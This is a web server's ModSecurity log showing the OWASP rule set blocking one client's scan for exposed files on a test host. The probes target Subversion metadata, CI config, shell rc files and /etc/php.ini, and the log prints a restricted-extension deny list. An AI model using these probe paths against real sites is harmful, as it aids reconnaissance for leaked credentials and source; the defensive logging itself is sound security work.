[Sun Mar 01 20:25:54.543989 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnzwAAAAE&quot;]
[Sun Mar 01 20:25:54.566269 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/prop-base/props&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base/props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0AAAAAE&quot;]
[Sun Mar 01 20:25:54.566548 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base/props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0AAAAAE&quot;]
[Sun Mar 01 20:25:54.566718 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/prop-base/props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0AAAAAE&quot;]
[Sun Mar 01 20:25:54.589119 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/props/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0QAAAAE&quot;]
[Sun Mar 01 20:25:54.589389 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0QAAAAE&quot;]
[Sun Mar 01 20:25:54.589565 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0QAAAAE&quot;]
[Sun Mar 01 20:25:54.612038 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/props/props&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props/props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0gAAAAE&quot;]
[Sun Mar 01 20:25:54.612300 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props/props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0gAAAAE&quot;]
[Sun Mar 01 20:25:54.612465 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/props/props&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0gAAAAE&quot;]
[Sun Mar 01 20:25:54.635246 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/readme.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/README.txt&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0wAAAAE&quot;]
[Sun Mar 01 20:25:54.635592 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/README.txt&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0wAAAAE&quot;]
[Sun Mar 01 20:25:54.635785 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/README.txt&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn0wAAAAE&quot;]
[Sun Mar 01 20:25:54.658185 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/text-base/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/text-base/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1AAAAAE&quot;]
[Sun Mar 01 20:25:54.658479 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/text-base/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1AAAAAE&quot;]
[Sun Mar 01 20:25:54.658666 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/text-base/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1AAAAAE&quot;]
[Sun Mar 01 20:25:54.681166 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/tmp/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/tmp/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1QAAAAE&quot;]
[Sun Mar 01 20:25:54.681431 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/tmp/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1QAAAAE&quot;]
[Sun Mar 01 20:25:54.681608 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/tmp/&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1QAAAAE&quot;]
[Sun Mar 01 20:25:54.703963 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/tmp/tempfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/tmp/tempfile&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1gAAAAE&quot;]
[Sun Mar 01 20:25:54.704239 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/tmp/tempfile&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1gAAAAE&quot;]
[Sun Mar 01 20:25:54.704405 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/tmp/tempfile&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFn1gAAAAE&quot;]
[Sun Mar 01 20:25:54.844645 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aaSSwvgv7eN8rAXba7HHxAAAAAg&quot;]
[Sun Mar 01 20:25:54.844944 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aaSSwvgv7eN8rAXba7HHxAAAAAg&quot;]
[Sun Mar 01 20:25:54.845141 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aaSSwvgv7eN8rAXba7HHxAAAAAg&quot;]
[Sun Mar 01 20:25:54.867300 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.user.ini&quot;] [unique_id &quot;aaSSwvgv7eN8rAXba7HHxQAAAAg&quot;]
[Sun Mar 01 20:25:54.867937 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.user.ini&quot;] [unique_id &quot;aaSSwvgv7eN8rAXba7HHxQAAAAg&quot;]
[Sun Mar 01 20:25:54.868125 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.user.ini&quot;] [unique_id &quot;aaSSwvgv7eN8rAXba7HHxQAAAAg&quot;]
[Sun Mar 01 20:25:55.099130 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.zshrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .zshrc found within REQUEST_FILENAME: /.zshrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zshrc&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HHzwAAAAg&quot;]
[Sun Mar 01 20:25:55.099413 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zshrc&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HHzwAAAAg&quot;]
[Sun Mar 01 20:25:55.099611 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zshrc&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HHzwAAAAg&quot;]
[Sun Mar 01 20:25:55.145052 2026] [:error] [pid 2408732] [client 185.177.72.30:53040] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/php.ini&quot;] [unique_id &quot;aaSSw_gv7eN8rAXba7HH0QAAAAg&quot;]
